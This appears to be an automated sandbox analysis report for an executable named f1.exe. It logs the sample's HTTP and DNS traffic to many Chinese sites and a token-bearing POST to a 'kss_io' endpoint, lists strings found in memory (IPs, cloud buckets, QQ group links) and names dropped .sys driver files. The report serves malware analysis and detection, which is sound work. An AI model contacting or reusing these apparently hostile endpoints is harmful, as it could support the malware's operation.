Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hupu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cctv.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.autohome.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-04/16_54 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: guangzhoucs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/26533 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/43260 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cctv.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-04/16_54 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: guangzhoucs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jb51.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.zhihu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hupu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.autohome.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: www.douyin.com
Source: global traffic	DNS traffic detected: DNS query: www.iqiyi.com
Source: global traffic	DNS traffic detected: DNS query: www.kuaishou.com
Source: global traffic	DNS traffic detected: DNS query: www.sohu.com
Source: global traffic	DNS traffic detected: DNS query: www.sogou.com
Source: global traffic	DNS traffic detected: DNS query: www.qq.com
Source: global traffic	DNS traffic detected: DNS query: www.sina.com.cn
Source: global traffic	DNS traffic detected: DNS query: www.so.com
Source: global traffic	DNS traffic detected: DNS query: www.baidu.com
Source: global traffic	DNS traffic detected: DNS query: soso.com
Source: global traffic	DNS traffic detected: DNS query: www.jd.com
Source: global traffic	DNS traffic detected: DNS query: www.1688.com
Source: global traffic	DNS traffic detected: DNS query: www.hao123.com
Source: global traffic	DNS traffic detected: DNS query: youdao.com
Source: global traffic	DNS traffic detected: DNS query: foodmate.net
Source: global traffic	DNS traffic detected: DNS query: www.jmw.com.cn
Source: global traffic	DNS traffic detected: DNS query: www.cdstm.cn
Source: global traffic	DNS traffic detected: DNS query: www.eastmoney.com
Source: global traffic	DNS traffic detected: DNS query: www.tencent.com
Source: global traffic	DNS traffic detected: DNS query: www.cctv.com
Source: global traffic	DNS traffic detected: DNS query: www.hupu.com
Source: global traffic	DNS traffic detected: DNS query: www.autohome.com.cn
Source: global traffic	DNS traffic detected: DNS query: guangzhoucs.oss-accelerate.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: sinacloud.net
Source: global traffic	DNS traffic detected: DNS query: www.jb51.net
Source: global traffic	DNS traffic detected: DNS query: www.zhihu.com

Source: unknown

HTTP traffic detected: POST /kss_io/io.php?v=13&b=1&s=10000099&e=get&line=1kstoken80597805589 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Accept-Language: zh-cnReferer: http://yanzheng.appchizi.com/User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; )Content-Length: 126Host: yanzheng.appchizi.com

Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://1066951243755853.cn-hongkong.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://1066951243755853.cn-hongkong.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/http://time-ti
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://115.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://119.29.29.29/d?dn=
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://121.40.137.186/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://121.40.137.186/http://aq.cqyanzheng.com/http://yanzheng.appchizi.com/http://121.40.137.186/ht
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://182.254.116.116/d?dn=
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://223.5.5.5/resolve?name=
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://223.6.6.6/resolve?name=
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://588ku.com/
Source: f1.exe, 00000006.00000002.3740200617.0000000000C07000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3754076630.000000000108A000.00000004.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3740200617.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.218.87.7/
Source: f1.exe, 00000006.00000002.3740200617.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.218.87.7/application/x-www-form-urlencodedMozilla/5.0
Source: f1.exe, 00000006.00000002.3740200617.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.218.87.7/b
Source: f1.exe, 00000006.00000002.3754076630.000000000108A000.00000004.00000001.01000000.00000004.sdmp	String found in binary or memory: http://8.218.87.7/http://8.218.87.7/8.218.87.7
Source: f1.exe, 00000006.00000002.3740200617.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3740200617.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.218.87.7/kss_io/io.php?v=13&b=1&s=10000099&e=get&line=1kstoken80597805589
Source: f1.exe, 00000006.00000002.3740200617.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.218.87.7/kss_io/io.php?v=13&b=1&s=10000099&e=get&line=1kstoken80597805589%
Source: f1.exe, 00000006.00000002.3740200617.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.218.87.7/kss_io/io.php?v=13&b=1&s=10000099&e=get&line=1kstoken80597805589MY
Source: f1.exe, 00000006.00000002.3740200617.0000000000BCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.218.87.7/kss_io/io.php?v=13&b=1&s=10000099&e=get&line=1kstoken80597805589aY
Source: f1.exe, 00000006.00000002.3740200617.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.218.87.7/p
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://aq.cqyanzheng.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://beijingcs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://ca800.com/
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: f1.exe, 00000006.00000003.1649619607.0000000008E42000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceCodeSigningCA.crt0
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://cli.im/
Source: f1.exe, 00000006.00000003.1852977658.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1759673725.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 6E8EJNeaX.sys.6.dr, CB8C7NLdg.sys.6.dr, F705A27.sys.6.dr	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: f1.exe, 00000006.00000003.1649619607.0000000008E42000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0O
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://crl3.digicert.com/sha2-ha-cs-g1.crl00
Source: 2649hsXWi.sys.6.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://crl4.digicert.com/sha2-ha-cs-g1.crl0L
Source: f1.exe, 00000006.00000003.1852977658.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1759673725.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 6E8EJNeaX.sys.6.dr, CB8C7NLdg.sys.6.dr, F705A27.sys.6.dr	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://dcloud.net.cn/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://foodmate.net/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://guangzhoucs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://heyuancs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://huadongcs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://huanancs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://huhehaotecs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://iliangcang.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://iwencai.com/
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://lusongsong.com/
Source: f1.exe, 00000006.00000003.1649619607.0000000008E42000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://ocsp.digicert.com0P
Source: f1.exe, 00000006.00000003.1649561773.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1554081183.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 2649hsXWi.sys.6.dr	String found in binary or memory: http://ocsp.digicert.com0R
Source: f1.exe, 00000006.00000003.1852977658.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1759673725.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 6E8EJNeaX.sys.6.dr, CB8C7NLdg.sys.6.dr, F705A27.sys.6.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://qingdaocs.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=NDsgPDeavtOyu1v6KBi4X2AY1RRs3Pdb&authKey=4qnl0NBCO7hSUQ55p
Source: f1.exe, 00000006.00000002.3754076630.0000000001088000.00000004.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=OS7Jf4g770fs7TMRuzjeWEr4_JnfmoeB&authKey=4FeBZonqCUL5S2PNX
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://shanghaics.oss-accelerate.aliyuncs.com/
Source: f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758164859.00000000056B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sinacloud.net/operate/
Source: f1.exe, 00000006.00000002.3758164859.00000000056B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sinacloud.net/operate/engt
Source: f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sinacloud.net/operate/x-agA#
Source: f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://soso.com/
